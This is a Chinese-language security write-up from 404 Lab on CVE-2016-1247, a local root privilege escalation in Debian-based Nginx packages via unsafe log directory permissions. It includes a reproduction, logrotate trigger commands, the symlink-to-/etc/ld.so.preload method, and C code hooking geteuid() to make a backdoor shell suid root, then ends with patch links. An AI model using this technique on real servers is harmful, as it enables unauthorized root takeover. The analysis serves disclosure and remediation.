Author: xd0ol1 (知道創宇404實驗室)

data:2016-11-17

0x00 漏洞概述

1.漏洞簡介

11月15日,國外安全研究員Dawid Golunski公開了一個新的Nginx漏洞(CVE-2016-1247),能夠影響基于Debian系列的發行版,Nginx作為目前主流的一個多用途服務器,因而其危害還是比較嚴重的,官方對此漏洞已經進行了修復。

2.漏洞影響

Nginx服務在創建log目錄時使用了不安全的權限設置,可造成本地權限提升,惡意攻擊者能夠借此實現從nginx/web的用戶權限www-data到root用戶權限的提升。

3.影響版本

下述版本之前均存在此漏洞:

  • Debian: Nginx1.6.2-5+deb8u3
  • Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
  • Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
  • Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1
  • Gentoo: Nginx1.10.2-r3

0x01 漏洞復現

1.環境搭建

測試環境:Ubuntu 14.04: Nginx1.4.6-1ubuntu3

PoC詳見如下鏈接,給出的nginxed-root.sh腳本在其中的第V部分:
https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

2.漏洞觸發

惡意者可通過軟鏈接任意文件來替換日志文件,從而實現提權以獲取服務器的root權限,執行PoC后結果如下圖:

圖0  PoC執行后的效果

提示要等待,但我們可以通過如下命令進行觸發:

/usr/sbin/logrotate -vf /etc/logrotate.d/nginx

提權后的結果如下:

圖1  成功實現root提權

3.漏洞利用分析

一般來說,如果想要修改函數的功能,最直接的就是對其源碼進行更改,但很多情況下我們是無法達成此目標的,這時就可以借助一些hook操作來改變程序的流程,從而實現對函數的修改。在Linux系統下,我們可以通過編譯一個含相同函數定義的so文件并借助/etc/ld.so.preload文件來完成此操作,系統的loader代碼中會檢查是否存在/etc/ld.so.preload文件,如果存在那么就會加載其中列出的所有so文件,它能夠實現與LD_PRELOAD環境變量相同的功能且限制更少,以此來調用我們定義的函數而非原函數。此方法適用于用戶空間的so文件劫持,類似于Windows下的DLL劫持技術。更進一步,如果我們將此技巧與含有suid的文件結合起來,那么就可以很自然的實現提權操作了,所給的PoC就是利用的這個技巧。

關于hook操作,簡單來看就是如下的一個執行流程:

圖2  對函數的hook操作

在PoC利用中與此相關的C代碼如下所示,如果將其編譯成so文件并把路徑寫入到/etc/ld.so.preload文件的話,那么可以實現對geteuid()函數的hook,在hook調用中就能執行我們想要的惡意操作。

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

/*hook原geteuid()函數*/
uid_t geteuid(void) {
    //定義函數指針變量
    static uid_t  (*old_geteuid)();
    //返回原geteuid()函數的指針
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    //在調用原geteuid()函數的同時執行想要的惡意操作
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}

我們可以將上述代碼編譯后來做個簡單的測試,結果如下圖,觀察nginxrootsh文件前后屬性的變化以及/etc/ld.so.preload文件存在與否可以判斷我們的惡意操作是否執行了,很顯然hook是成功的,和PoC相同這里也是通過sudo來觸發hook調用。

圖3  測試hook代碼

接下來我們考慮下如何將內容寫進/etc/ld.so.preload文件,也就是本次漏洞的所在,Nginx在配置log文件時采用的不安全權限設置使得我們能很容易的實現此目的,從而實現www-data到root的權限提升。為了看的更清楚,我們首先將目錄/var/log/nginx/下的文件全部刪除,再重啟下nginx服務,最后執行如下兩條命令:

$ curl http://localhost/ >/dev/null 2>/dev/null
$ /usr/sbin/logrotate -vf /etc/logrotate.d/nginx

此時得到的結果如下圖所示:

圖4  log文件的屬性

可以看到error.log文件的屬性為:

-rw-r--r-- 1 www-data root 0 Nov 18 14:49 error.log

將其軟鏈接到/etc/ld.so.preload文件就可以了,這里為了簡單測試,我們將其軟鏈接到/etc/xxxxxxxxxx,同樣需要上述那兩條觸發命令。從上圖中我們看到了成功結果,此時www-data用戶是可以對/etc/xxxxxxxxxx文件進行寫操作的。

至此,我們將這些點結合起來就可以實現對此漏洞的利用了。

0x02 修復方案

Nginx官方已經修復,用戶應盡快更新至最新版本,可參考以下官方鏈接進行修復。

Debian 系統

https://www.debian.org/security/2016/dsa-3701

https://security-tracker.debian.org/tracker/CVE-2016-1247

Ubuntu 系統

https://www.ubuntu.com/usn/usn-3114-1/

0x03 參考


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/122/